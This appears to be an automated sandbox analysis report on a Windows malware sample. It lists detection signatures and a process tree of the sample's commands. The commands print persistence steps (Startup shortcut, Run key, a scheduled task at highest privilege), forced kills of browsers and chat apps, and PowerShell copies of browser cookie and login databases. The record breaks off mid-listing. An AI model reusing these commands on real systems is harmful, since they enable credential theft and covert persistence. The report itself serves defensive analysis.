Analysis
- max time kernel
151s - max time network
158s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
10/09/2026, 12:46
General
- Target 2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
- Size 62.2MB
- Sample260910-pzp5cstejc
- SHA256 79b94d62b914064c6fcad1e8ee4612e9ea8841415efb8dce6457991f5d548dd9
Malware Config
Signatures
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 12 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 4 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 43 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Discovers running processes 1 TTPs 24 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 64 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 48 IoCs
Processor information is often read in order to detect sandboxing environments.
- Kills process with taskkill 22 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 53 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$s=(New-Object -ComObject WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoXLR_Utility.lnk');$s.TargetPath='C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe';$s.WorkingDirectory='C:\Users\Admin\AppData\Local\Temp';$s.WindowStyle=7;$s.Save()""2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$s=(New-Object -ComObject WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoXLR_Utility.lnk');$s.TargetPath='C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe';$s.WorkingDirectory='C:\Users\Admin\AppData\Local\Temp';$s.WindowStyle=7;$s.Save()"3⤵
- Creates a file in the Startup directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "GoXLR_Utility_Manager" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"" /f"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "GoXLR_Utility_Manager" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"" /f3⤵
- Adds Run key to start application
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "schtasks /Create /F /TN "GoXLR Utility AutoStart" /SC ONLOGON /TR ""C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"" /RL HIGHEST"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "GoXLR Utility AutoStart" /SC ONLOGON /TR ""C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "GoXLR_Utility_Manager" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\GoXLR_Utility\GoXLR_Manager.exe" /f"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "GoXLR_Utility_Manager" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\GoXLR_Utility\GoXLR_Manager.exe" /f3⤵
- Adds Run key to start application
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera_gx.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera_gx.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM firefox.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies' -Destination 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies.temp' -Force""2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies' -Destination 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies.temp' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data' -Destination 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data.temp' -Force""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data' -Destination 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data.temp' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data' -Destination 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data.temp' -Force""2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data' -Destination 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data.temp' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies' -Destination 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies.temp' -Force""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies' -Destination 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies.temp' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data' -Destination 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data.temp' -Force""2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data' -Destination 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data.temp' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data' -Destination 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data.temp' -Force""2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data' -Destination 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data.temp' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discord.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM discord.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discordcanary.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM discordcanary.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discorddevelopment.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM discorddevelopment.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discordptb.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM discordptb.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet session3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Telegram.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Telegram.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discord.exe" 2>NUL | findstr /I "discord.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discord.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discord.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discordcanary.exe" 2>NUL | findstr /I "discordcanary.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discordcanary.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discordcanary.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discordptb.exe" 2>NUL | findstr /I "discordptb.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discordptb.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discordptb.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discorddevelopment.exe" 2>NUL | findstr /I "discorddevelopment.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discorddevelopment.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discorddevelopment.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discord.exe" 2>NUL | findstr /I "discord.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discord.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discord.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discordcanary.exe" 2>NUL | findstr /I "discordcanary.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discordcanary.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discordcanary.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discordptb.exe" 2>NUL | findstr /I "discordptb.exe""2⤵
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discordptb.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discordptb.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discorddevelopment.exe" 2>NUL | findstr /I "discorddevelopment.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discorddevelopment.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discorddevelopment.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discord.exe" 2>NUL | findstr /I "discord.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discord.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discord.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discordcanary.exe" 2>NUL | findstr /I "discordcanary.exe""2⤵
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discordcanary.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discordcanary.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discordptb.exe" 2>NUL | findstr /I "discordptb.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discordptb.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discordptb.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discorddevelopment.exe" 2>NUL | findstr /I "discorddevelopment.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discorddevelopment.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discorddevelopment.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exeC:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe1⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$s=(New-Object -ComObject WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoXLR_Utility.lnk');$s.TargetPath='C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe';$s.WorkingDirectory='C:\Users\Admin\AppData\Local\Temp';$s.WindowStyle=7;$s.Save()""2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$s=(New-Object -ComObject WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoXLR_Utility.lnk');$s.TargetPath='C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe';$s.WorkingDirectory='C:\Users\Admin\AppData\Local\Temp';$s.WindowStyle=7;$s.Save()"3⤵
- Creates a file in the Startup directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "GoXLR_Utility_Manager" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"" /f"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "GoXLR_Utility_Manager" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"" /f3⤵
- Adds Run key to start application
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "schtasks /Create /F /TN "GoXLR Utility AutoStart" /SC ONLOGON /TR ""C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"" /RL HIGHEST"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "GoXLR Utility AutoStart" /SC ONLOGON /TR ""C:\Users\Admin\AppData\Local\Temp\2026-09-10_a009f45df8cf1f49d241e43b9cc5b8c4_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "GoXLR_Utility_Manager" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\GoXLR_Utility\GoXLR_Manager.exe" /f"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "GoXLR_Utility_Manager" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\GoXLR_Utility\GoXLR_Manager.exe" /f3⤵
- Adds Run key to start application
-
-
-
C:\Users\Admin\AppData\Roaming\GoXLR_Utility\GoXLR_Manager.exeC:\Users\Admin\AppData\Roaming\GoXLR_Utility\GoXLR_Manager.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera_gx.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera_gx.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM firefox.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies' -Destination 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies.temp' -Force""2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies' -Destination 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies.temp' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data' -Destination 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data.temp' -Force""2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data' -Destination 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data.temp' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data' -Destination 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data.temp' -Force""2⤵
